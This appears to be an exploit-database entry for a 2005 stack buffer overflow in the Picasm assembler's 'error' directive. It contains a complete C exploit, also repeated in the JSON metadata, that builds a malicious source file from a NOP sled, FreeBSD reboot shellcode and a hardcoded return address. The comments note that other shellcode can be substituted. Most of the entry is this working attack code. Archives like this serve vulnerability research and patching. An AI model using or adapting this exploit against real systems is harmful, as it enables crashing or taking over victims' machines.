Search...

Picasm 1.101.12 - Error Generation Remote Buffer Overflow

2005-05-20T00:00:00

ID EXPLOITPACK:D6CF955EFFC5A2A156833AB3365D7ACE
Type exploitpack
Reporter Shaun Colley
Modified 2005-05-20T00:00:00

Description

Picasm 1.101.12 - Error Generation Remote Buffer Overflow

                                        
                                            // source: https://www.securityfocus.com/bid/13698/info

Picasm is affected by a remote buffer overflow vulnerability.

An attacker can exploit this issue by supplying an excessive 'error' directive.

If successfully exploited, this issue can allow a remote attacker to gain access to the affected computer in the context of the user running the application.

Picasm 1.12b and prior versions are vulnerable to this issue. 

/* picasm_exploit.c - by Shaun Colley &lt;shaun rsc cx&gt;
 *
  * This code generates a picasm source file with a malformed 'error' directive,
  * which exploits a stack overflow vulnerability in picasm's error printing
 * routines.  The file generated by this exploit will only cause execution
  * of FreeBSD 'reboot()' shellcode.  Exploit has been tested on
FreeBSD 5.3-RELEASE.
  * Return address into shellcode may need changing on other operating system
  * versions.  Other shellcodes can potentially be used instead of the
one below.
 *
  * A fix has been provided by picasm's maintainer.  The fixed packages can be
 * found at &lt;http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz&gt;.
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

  /* FreeBSD reboot shellcode by zillion
  * zillion safemode org */
  char shellcode[] =
  "\x31\xc0\x66\xba\x0e\x27\x66\x81\xea\x06\x27\xb0\x37\xcd\x80";

int main(int argc, char *argv[]) {

  if(argc &lt; 2) {
    printf("syntax: %s &lt;outfile&gt;\n", argv[0]);
    return 1;
  }

    char buf[144];

  /* FreeBSD 5.3-RELEASE */
char ret[] = "\x78\xea\xbf\xbf";
/* Works when X server is not running */
/*char ret[] = "\x08\xeb\xbf\xbf";*/

  char *ptr;
  FILE *fp;
  ptr = buf;

 /* Craft payload */
  memset(ptr, 0, sizeof(buf));
  memset(ptr, 0x90, 118); /* 118 NOP bytes */
  memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */
  memcpy(ptr+133, ret, 4); /* 4 byte ret address */

  /* Open outfile */
  if((fp = fopen(argv[1], "w")) == NULL) {
   printf("unable to open %s\n", argv[1]);
   exit(1);
 }

  /* Write it all to outfile */
  fwrite("error ", 1, 6, fp);
  fprintf(fp, "%s", buf);

  fclose(fp);
 return 0;
}

JSON Vulners Source

Initial Source

{"lastseen": "2020-04-01T19:04:42", "references": [], "description": "\nPicasm 1.101.12 - Error Generation Remote Buffer Overflow", "edition": 1, "reporter": "Shaun Colley", "exploitpack": {"type": "remote", "platform": "freebsd"}, "published": "2005-05-20T00:00:00", "title": "Picasm 1.101.12 - Error Generation Remote Buffer Overflow", "type": "exploitpack", "enchantments": {"dependencies": {"references": [], "modified": "2020-04-01T19:04:42", "rev": 2}, "score": {"value": 1.1, "vector": "NONE", "modified": "2020-04-01T19:04:42", "rev": 2}, "vulnersScore": 1.1}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2005-05-20T00:00:00", "id": "EXPLOITPACK:D6CF955EFFC5A2A156833AB3365D7ACE", "href": "", "viewCount": 1, "sourceData": "// source: https://www.securityfocus.com/bid/13698/info\n\nPicasm is affected by a remote buffer overflow vulnerability.\n\nAn attacker can exploit this issue by supplying an excessive 'error' directive.\n\nIf successfully exploited, this issue can allow a remote attacker to gain access to the affected computer in the context of the user running the application.\n\nPicasm 1.12b and prior versions are vulnerable to this issue. \n\n/* picasm_exploit.c - by Shaun Colley <shaun rsc cx>\n *\n * This code generates a picasm source file with a malformed 'error' directive,\n * which exploits a stack overflow vulnerability in picasm's error printing\n * routines. The file generated by this exploit will only cause execution\n * of FreeBSD 'reboot()' shellcode. Exploit has been tested on\nFreeBSD 5.3-RELEASE.\n * Return address into shellcode may need changing on other operating system\n * versions. Other shellcodes can potentially be used instead of the\none below.\n *\n * A fix has been provided by picasm's maintainer. The fixed packages can be\n * found at <http://www.co.jyu.fi/~trossi/pic/picasm112c.tar.gz>.\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n\n /* FreeBSD reboot shellcode by zillion\n * zillion safemode org */\n char shellcode[] =\n \"\\x31\\xc0\\x66\\xba\\x0e\\x27\\x66\\x81\\xea\\x06\\x27\\xb0\\x37\\xcd\\x80\";\n\nint main(int argc, char *argv[]) {\n\n if(argc < 2) {\n printf(\"syntax: %s <outfile>\\n\", argv[0]);\n return 1;\n }\n\n char buf[144];\n\n /* FreeBSD 5.3-RELEASE */\nchar ret[] = \"\\x78\\xea\\xbf\\xbf\";\n/* Works when X server is not running */\n/*char ret[] = \"\\x08\\xeb\\xbf\\xbf\";*/\n\n char *ptr;\n FILE *fp;\n ptr = buf;\n\n /* Craft payload */\n memset(ptr, 0, sizeof(buf));\n memset(ptr, 0x90, 118); /* 118 NOP bytes */\n memcpy(ptr+118, shellcode, sizeof(shellcode)); /* 15 byte shellcode */\n memcpy(ptr+133, ret, 4); /* 4 byte ret address */\n\n /* Open outfile */\n if((fp = fopen(argv[1], \"w\")) == NULL) {\n printf(\"unable to open %s\\n\", argv[1]);\n exit(1);\n }\n\n /* Write it all to outfile */\n fwrite(\"error \", 1, 6, fp);\n fprintf(fp, \"%s\", buf);\n\n fclose(fp);\n return 0;\n}", "cvss": {"score": 0.0, "vector": "NONE"}}